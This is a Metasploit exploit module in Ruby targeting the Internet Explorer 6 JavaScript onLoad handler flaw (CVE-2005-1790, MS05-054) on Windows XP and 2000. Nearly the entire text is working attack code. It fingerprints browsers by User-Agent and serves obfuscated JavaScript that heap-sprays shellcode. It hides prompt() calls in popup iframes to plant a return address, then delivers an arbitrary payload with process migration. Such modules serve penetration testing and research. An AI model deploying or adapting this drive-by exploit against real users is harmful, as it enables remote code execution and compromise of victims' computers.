Microsoft Internet Explorer JavaScript OnLoad Handler Remote Code Execution

`##  
# This file is part of the Metasploit Framework and may be subject to  
# redistribution and commercial restrictions. Please see the Metasploit  
# Framework web site for more information on licensing and terms of use.  
# http://metasploit.com/framework/  
##  
  
require 'msf/core'  
  
class Metasploit3 < Msf::Exploit::Remote  
Rank = NormalRanking  
  
include Msf::Exploit::Remote::HttpServer::HTML  
  
def initialize(info = {})  
super(update_info(info,  
'Name' => 'Microsoft Internet Explorer JavaScript OnLoad Handler Remote Code Execution Vulnerability',  
'Description' => %q{  
This bug is triggered when the browser handles a JavaScript 'onLoad' handler in  
conjunction with an improperly initialized 'window()' JavaScript function.  
This exploit results in a call to an address lower than the heap. The javascript  
prompt() places our shellcode near where the call operand points to. We call  
prompt() multiple times in separate iframes to place our return address.  
We hide the prompts in a popup window behind the main window. We spray the heap  
a second time with our shellcode and point the return address to the heap. I use  
a fairly high address to make this exploit more reliable. IE will crash when the  
exploit completes. Also, please note that Internet Explorer must allow popups  
in order to continue exploitation.  
},  
'License' => MSF_LICENSE,  
'Author' =>  
[  
'Benjamin Tobias Franz', # Discovery  
'Stuart Pearson', # Proof of Concept  
'Sam Sharps' # Metasploit port  
],  
'References' =>  
[  
['MSB', 'MS05-054'],  
['CVE', '2005-1790'],  
['URL', 'http://www.securityfocus.com/bid/13799/info'],  
['URL', 'http://www.cvedetails.com/cve/CVE-2005-1790'],  
],  
'DefaultOptions' =>  
{  
'EXITFUNC' => 'process',  
'InitialAutoRunScript' => 'migrate -f',  
},  
'Payload' =>  
{  
'Space' => 1000,  
'BadChars' => "\x00",  
'Compat' =>  
{  
'ConnectionType' => '-find',  
},  
'StackAdjustment' => -3500,  
},  
'Platform' => 'win',  
'Targets' =>  
[  
[ 'Internet Explorer 6 on Windows XP', { 'iframes' => 4 } ],  
[ 'Internet Explorer 6 Windows 2000', { 'iframes' => 8 } ],  
],  
'DisclosureDate' => 'Nov 21 2005',  
'DefaultTarget' => 0))  
end  
  
def exploit  
@var_redir = rand_text_alpha(rand(100)+1)  
super  
end  
  
def auto_target(cli, request)  
mytarget = nil  
  
agent = request.headers['User-Agent']  
print_status("Checking user agent: #{agent}")  
  
if (agent =~ /MSIE 6\.0/ && agent =~ /Windows NT 5\.1/)  
mytarget = targets[0] # IE6 on XP  
elsif (agent =~ /MSIE 6\.0/ && agent =~ /Windows NT 5\.0/)  
mytarget = targets[1] # IE6 on 2000  
else  
print_error("Unknown User-Agent #{agent} from #{cli.peerhost}:#{cli.peerport}")  
end  
  
mytarget  
end  
  
  
def on_request_uri(cli, request)  
mytarget = auto_target(cli, request)  
var_title = rand_text_alpha(rand(100) + 1)  
func_main = rand_text_alpha(rand(100) + 1)  
  
heapspray = ::Rex::Exploitation::JSObfu.new %Q|  
function heapspray()  
{  
shellcode = unescape('#{Rex::Text.to_unescape(regenerate_payload(cli).encoded)}');  
var bigblock = unescape("#{Rex::Text.to_unescape(make_nops(4))}");  
var headersize = 20;  
var slackspace = headersize + shellcode.length;  
while (bigblock.length < slackspace) bigblock += bigblock;  
var fillblock = bigblock.substring(0,slackspace);  
var block = bigblock.substring(0,bigblock.length - slackspace);  
while (block.length + slackspace < 0x40000) block = block + block + fillblock;  
var memory = new Array();  
for (i = 0; i < 250; i++){ memory[i] = block + shellcode }  
  
var ret = "";  
var fillmem = "";  
  
for (i = 0; i < 500; i++)  
ret += unescape("%u0F0F%u0F0F");  
for (i = 0; i < 200; i++)  
fillmem += ret;  
  
prompt(fillmem, "");  
}  
|  
heapspray.obfuscate  
  
nofunc = ::Rex::Exploitation::JSObfu.new %Q|  
  
if (document.location.href.indexOf("#{@var_redir}") == -1)  
{  
var counter = 0;  
  
  
top.consoleRef = open('','BlankWindow',  
'width=100,height=100'  
+',menubar=0'  
+',toolbar=1'  
+',status=0'  
+',scrollbars=0'  
+',left=1'  
+',top=1'  
+',resizable=1')  
self.focus()  
  
  
for (counter = 0; counter < #{mytarget['iframes']}; counter++)  
{  
top.consoleRef.document.writeln('<iframe width=1 height=1 src='+document.location.href+'?p=#{@var_redir}</iframe>');  
}  
document.writeln("<body onload=\\"setTimeout('#{func_main}()',6000)\\">");  
  
}  
else  
{  
#{heapspray.sym('heapspray')}();  
}  
|  
  
nofunc.obfuscate  
  
main = %Q|  
function #{func_main}()  
{  
document.write("<TITLE>#{var_title}</TITLE>");  
document.write("<body onload=window();>");  
  
window.location.reload();  
}  
|  
  
html = %Q|  
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0//EN">  
<html>  
<head>  
<meta http-equiv="Content-Language" content="en-gb">  
<meta http-equiv="Content-Type" content="text/html; charset=windows-1252">  
<script>  
#{nofunc}  
#{heapspray}  
#{main}  
</script>  
</head>  
<body>  
</body>  
</html>  
|  
  
print_status("Sending #{self.name} to client #{cli.peerhost}")  
# Transmit the compressed response to the client  
send_response(cli, html, { 'Content-Type' => 'text/html', 'Pragma' => 'no-cache' })  
  
# Handle the payload  
handler(cli)  
end  
end  
`